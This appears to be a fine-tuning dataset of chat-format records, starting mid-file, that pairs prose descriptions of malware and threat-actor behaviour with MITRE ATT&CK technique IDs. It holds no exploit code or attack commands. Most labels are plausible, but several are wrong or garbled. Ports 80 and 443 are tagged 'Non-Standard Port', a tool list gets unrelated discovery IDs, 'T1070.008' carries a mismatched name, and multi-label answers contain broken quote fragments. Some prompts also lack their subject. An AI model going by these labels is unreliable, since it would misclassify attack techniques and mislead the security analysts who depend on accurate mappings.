                "role": "user",
                "content": "KONNI has used parent PID spoofing to spawn a new `cmd` process using `CreateProcessW` and a handle to `Taskmgr.exe`."
            },
            {
                "role": "assistant",
                "content": "T1134.004 - Access Token Manipulation: Parent PID Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Open malspam with password-protected ZIP attachment. On June 30 and July 1, 2020, we saw indications there may also have been a link to download a ZIP archive instead of an attachment. Extract Microsoft Word document from the password-protected ZIP archive using a unique password from the message text"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Astaroth logs keystrokes from the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chimera has used \"net share\" and \"net view\" to identify network shares of interest."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Diavol has obfuscated its main code routines within bitmap images as part of its anti-analysis techniques."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Proxysvc performs data exfiltration over the control server channel using a custom protocol."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "concatenates then decompresses multiple resources to load an embedded .Net Framework assembly."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TeamTNT has established tmate sessions for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During its initial execution,  extracts operating system information from the infected host."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "conducts credential dumping on victims, with a focus on obtaining credentials belonging to domain and database servers."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CSPY Downloader has been packed with UPX."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DustySky captures PNG screenshots of the main screen."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lucifer is quite powerful in its capabilities. Not only is it capable of dropping XMRig for cryptojacking Monero, it’s also capable of command and control (C2) operation and self-propagation through the exploitation of multiple vulnerabilities and credential brute-forcing. Additionally, it drops and runs EternalBlue, EternalRomance, and DoublePulsar backdoor against vulnerable targets for intranet infections"
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For Operation Spalax, the threat actors used a variety of packers, including CyaX, to obfuscate malicious executables."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Crimson contains a command to perform screen captures."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operation Wocao has used a VBScript to conduct reconnaissance on targeted systems."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "(Source: Dell SecureWorks) To facilitate lateral movement, the adversaries deploy ASPXTool web shells to internally accessible systems running IIS"
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "steals data stored in the clipboard."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "disguised its malicious binaries with several layers of obfuscation, including encrypting the files."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This data theft module appears to have been compiled in May 2015 and is designed to watch removable drives and collect files from them, depending on a set of rules defined by the attackers. The stolen data is copied into a hidden directory as “%MYPICTURES%\\%volume serial number%“, from where it can be exfiltrated by the attackers using one of the AZZY implants"
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging', 'T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When issuing a beacon to its C2, PingPull will send an Echo Request packet to the C2 server with total and current set to 0 and will include no encoded and encrypted data, as seen in Figure 1."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding', 'T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BoomBox can decrypt AES-encrypted files downloaded from C2."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ROKRAT can send collected data to cloud storage services such as PCloud."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "looks for net and account or domain in close proximity"
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "These files are then transmitted to a threat actor, often over commonly open ports 80 and 443 (HTTP and HTTPS)"
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port', 'T1043 - Commonly Used Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pteranodon has the ability to use anti-detection functions to identify sandbox environments."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leviathan has used publicly available tools to dump password hashes, including HOMEFRY."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The MPK Trojan also monitors specifically for windows that are likely to contain login forms for popular web-based email clients, such as titles that contain: “Gmail -” “Yahoo – login” “Sign In -” “Outlook.com -“ MPK will attempt to parse these window titles to identify the associated email address and record these to the log file using the following format: ///////////// Mail Find <email address> /////////// If the Trojan does not find the window titles associated with Gmail, Yahoo or Outlook, it saves the title to the “Save.tmp” file in the following format: +++++++++++++ Window= <window title> +++++++++++++ The major difference between the IRC variant and non-IRC variant of MPK is the C2 protocol used"
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Valak can use the clientgrabber module to steal e-mail credentials from the Registry."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Watering holes - Weaponized documents exploiting the Dynamic Data Exchange (DDE) method - Weaponized documents exploiting the CVE-2018-0798 vulnerability in Equation Editor - Exploitation of the CVE-2019-0604 vulnerability in Sharepoint - Supply chain attack that compromises a chat software installer, Able Desktop - Exploitation of recent vulnerabilities (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065) in Microsoft Exchange Server"
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Compromise Software Supply Chain', 'T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DustySky can shutdown the infected machine."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FlawedAmmyy leverages WMI to enumerate anti-virus on the victim."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Agent.btz saves system information into an XML file that is then XOR-encoded."
            },
            {
                "role": "assistant",
                "content": "T1560.003 - Archive via Custom Method"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FALLCHILL can modify file or directory timestamps."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Grandoreiro has used compromised websites and Google Ads to bait victims into downloading its installer."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "encrypts the collected files using 3-DES."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "One of the file path name combinations observed was ‘C:\\ProgramData\\Dacr\\macrse.exe’, also configured in a Crimson “Main Client” sample and used for saving the payload received from the C2 when invoking the usbwrm command"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Emotet has sent Microsoft Word documents with embedded macros that will invoke scripts to download additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Magic Hound has used compromised domains to host links targeted to specific phishing victims."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ProLock can use .jpg and .bmp files to store its payload."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The IceApple Directory Lister module can list information about files and directories including creation time, last write time, name, and size."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Komplex C2 channel uses HTTP POST requests."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "malware IndiaIndia obtains and sends to its C2 server the title of the window for each running process. The KilaAlfa keylogger also reports the title of the window in the foreground."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HELLOKITTY can search for specific processes to terminate."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AADInternals can gather information about a tenant’s domains using public Microsoft APIs."
            },
            {
                "role": "assistant",
                "content": "T1590.001 - Domain Properties"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 4 x_mode command and new line delimited settings As seen in Figure 4, the settings are stored in variables seen in Table 6, which are used to authenticate to the actor-controlled Google account before uploading and downloading files from Google Drive"
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RedLeaves can gather browser usernames and passwords."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT38 has obtained and used open-source tools such as Mimikatz."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In addition, the PowerShell implant did not contain a mechanism to persist beyond a simple scheduled task"
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job', 'T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BISCUIT malware contains a secondary fallback command and control server that is contacted after the primary command and control server."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SoreFang can use HTTP in C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses rundll32.exe to load its DLL."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "contains a cleanup module that removes traces of itself from the victim."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The string is visible within the unpacked Karagany binary and is not itself encrypted. Once the payload has been AES-encrypted, it is prepended with the IV value and Base64-encoded for transmission. Figures 4 and 5 show an example decode and decryption based on sinkhole data obtained by CTU researchers of a Karagany beacon payload"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber analysts are encouraged to review the information provided in this alert to detect signs of malicious network activity.Tools and capabilities used by HIDDEN COBRA actors include DDoS botnets, keyloggers, remote access tools (RATs), and wiper malware"
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery', 'T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some variants of Cherry Picker use AppInit_DLLs to achieve persistence by creating the following Registry key: \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows \"AppInit_DLLs\"=\"pserver32.dll\"\""
            },
            {
                "role": "assistant",
                "content": "T1546.010 - Event Triggered Execution: AppInit DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hildegard has used the BOtB tool that can break out of containers."
            },
            {
                "role": "assistant",
                "content": "T1611 - Escape to Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SUNBURST masqueraded its network traffic as the Orion Improvement Program (OIP) protocol."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Protocol or Service Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This file is written to the following file path:  % TEMP%\\Update.~tmp  After the file is written, it is then copied to a filename of ’winhelp.cpl’ in the directory that was initially chosen"
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp', 'T1036 - Masquerading', 'T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Goopy has the ability to delete emails used for C2 once the content has been copied."
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host', 'T1070.008 - Email Collection: Mailbox Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After defining several variables, some of which contain ActiveX objects for file execution and manipulation later, the script uses a function to “roll” a random number"
            },
            {
                "role": "assistant",
                "content": "T1218.001 - Signed Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chimera has used \"net start\" and \"net use\" for system service discovery."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a plugin to drop and execute vulnerable Outpost Sandbox or avast! Virtualization drivers in order to gain kernel mode privileges."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The initial beacon packet for S-Type contains the operating system version and file system of the victim."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN6 also moved laterally to servers in the environment using RDP and configured them as malware “distribution” servers. The distribution servers were used to stage the LockerGoga ransomware, additional utilities, and deployment scripts to automate installation of the ransomware. Mandiant identified a utility script named kill.bat that was run on systems in the environment. This script contained a series of anti-forensics and other commands intended to disable antivirus and destabilize the operating system. FIN6 automated the deployment of kill.bat and the LockerGoga ransomware using batch script files. FIN6 created a number of BAT files on the malware distribution servers with the naming convention xaa.bat, xab.bat, xac.bat, etc. These BAT files contained psexec commands to connect to remote systems and deploy kill.bat along with LockerGoga. FIN6 renamed the psexec service name to “mstdc” in order to masquerade as the legitimate Windows executable “msdtc"
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT41 used the Steam community page as a fallback mechanism for C2."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This shellcode injects the final payload taken from the resource section into the original RegAsm.exe process"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using valid credentials, CARBON SPIDER moves laterally through victim environments using RDP and occasionally SSH. Occasionally, CARBON SPIDER has deployed the legitimate GoToAssist or TightVNC tools to provide redundant control of hosts"
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chaes has used Installutill to download content."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - Signed Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Empire has modules for executing scripts."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A module in Prikormka collects information from the victim about the current user name."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GALLIUM has used VPN services, including SoftEther VPN, to access and maintain persistence in victim environments."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Talos has discovered an unknown Remote Administration Tool that we believe has been in use for over 3 years. During this time it has managed to avoid scrutiny by the security community. The current version of the malware allows the operator to steal files, keystrokes, perform screenshots, and execute arbitrary code on the infected host. Talos has named this malware KONNI. Throughout the multiple campaigns observed over the last 3 years, the actor has used an email attachment as the initial infection vector. They then use additional social engineering to prompt the target to open a .scr file, display a decoy document to the users, and finally execute the malware on the victim's machine. The malware has evolved over time"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
